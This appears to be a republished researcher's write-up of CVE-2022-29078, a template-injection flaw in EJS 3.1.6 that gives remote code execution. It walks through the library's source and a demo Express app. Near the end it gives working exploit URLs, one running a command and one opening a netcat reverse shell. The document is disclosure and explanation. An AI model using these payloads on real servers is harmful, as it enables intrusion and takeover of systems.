Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-29078: EJS, Server side template injection RCE (CVE-2022-29078) - writeup

The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).

CVE
#mac#nodejs#js#java#rce

Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level.

Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS

In my weekend i started to have a look around to see if the library is vulnerable to server side template injection. Since the library is open source we can have a whitebox approach and look at the source code.

you can use a debugger to put several breakpoint to understand the code flow quicky. Or at least you can do a print (or console.log) to see what functions is called and what is the variables values

The analysis

I noticed an interesting thing in the render function

exports.render = function (template, d, o) {
  var data = d || {};
  var opts = o || {};

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};

libs/ejs.js:413

The data and options is merged together through this function utils.shallowCopyFromList So in theory we can overwrite the template options with the data (coming from user)

A look into the function shows it has some restrictions

exports.shallowCopyFromList = function (to, from, list) {
  for (var i = 0; i < list.length; i++) {
    var p = list[i];
    if (typeof from[p] != 'undefined') {
      to[p] = from[p];
    }
  }
  return to;
};

libs/utils.js:135

It only copies the data if it’s in the passed list defined

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

OK, its time to have a proof of concept and lets try this options to see what impact we can make

// index.js
const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/page', (req,res) => {
    res.render('page', req.query);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})


// page.ejs
<h1> You are viewing page number <%= id %></h1>

Now if we lunched this application and send this request for example

http://localhost:3000/page?id=2&debug=true

This will ends up enabling ejs debug mode. But there is not much impact because if there is no errors nothing will show 🤷

OK, lets try something else. What about the delimiter

http://localhost:3000/?delimiter=NotExistsDelimiter

ok, This is interesting because it will disclose the template because the delimiter is not exists.

One more thing i tried here is to try to exploit to to have a reDos attack. Because this delimiter is added to regex and this regex is executed against the template contents.

createRegex: function () {
    var str = _REGEX_STRING;
    var delim = utils.escapeRegExpChars(this.opts.delimiter);
    var open = utils.escapeRegExpChars(this.opts.openDelimiter);
    var close = utils.escapeRegExpChars(this.opts.closeDelimiter);
    str = str.replace(/%/g, delim)
      .replace(/</g, open)
      .replace(/>/g, close);
    return new RegExp(str);
  }

libs/ejs.js:558

So if we added a delimiter xx the regex will be like this

(<xxxx|xxxx>|<xx=|<xx-|<xx_|<xx#|<xx|xx>|-xx>|_xx>)

But the problem as you see above that it’s well escaped utils.escapeRegExpChars so we can’t actually put any regex reserved characters (*,$, [] …etc) so basically we can’t do somethig catastrophic here.

OK, thats boring. What will be really exciting is to find RCE

The RCE exploit 🔥🔥

I spent sometime looking around till i find this interesting lines in the renderFile function.

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
}

libs/ejs.js:471

Interesing, so in the case of express view options ejs will copy everything into the options without restrictions 🎉

Bingo, now what we need is just to find option included in the template body without escaping

prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

so if we injected code in the outputFunctionName option it will included in the source code.

Payload like this x;process.mainModule.require(‘child_process’).execSync(‘touch /tmp/pwned’);s

it will be added to the template compiled code

var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;

and our code will be excuted successfully

So lets try a reverse shell

first lets run netcat on our maching

and lets inject some code

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

And here we go 🔥

Fix & Mitigation

Ejs already issued a fix to prevent injecting any code in the options especially opts.outputFunctionName

and they released v3.1.7

Timeline

  • 10 Apr 2022: Reported to vendor
  • 12 Apr 2022: CVE number assigned (CVE-2022-29078)
  • 20 Apr 2022: Fix released

Related news

CVE-2023-29827: EJS, Server side template injection [email protected] Latest · Issue #720 · mde/ejs

ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.

CVE-2023-21954: Oracle Critical Patch Update Advisory - April 2023

Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through...

CVE-2020-4301: Security Bulletin: IBM Cognos Analytics has addressed multiple vulnerabilities

IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 176609.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907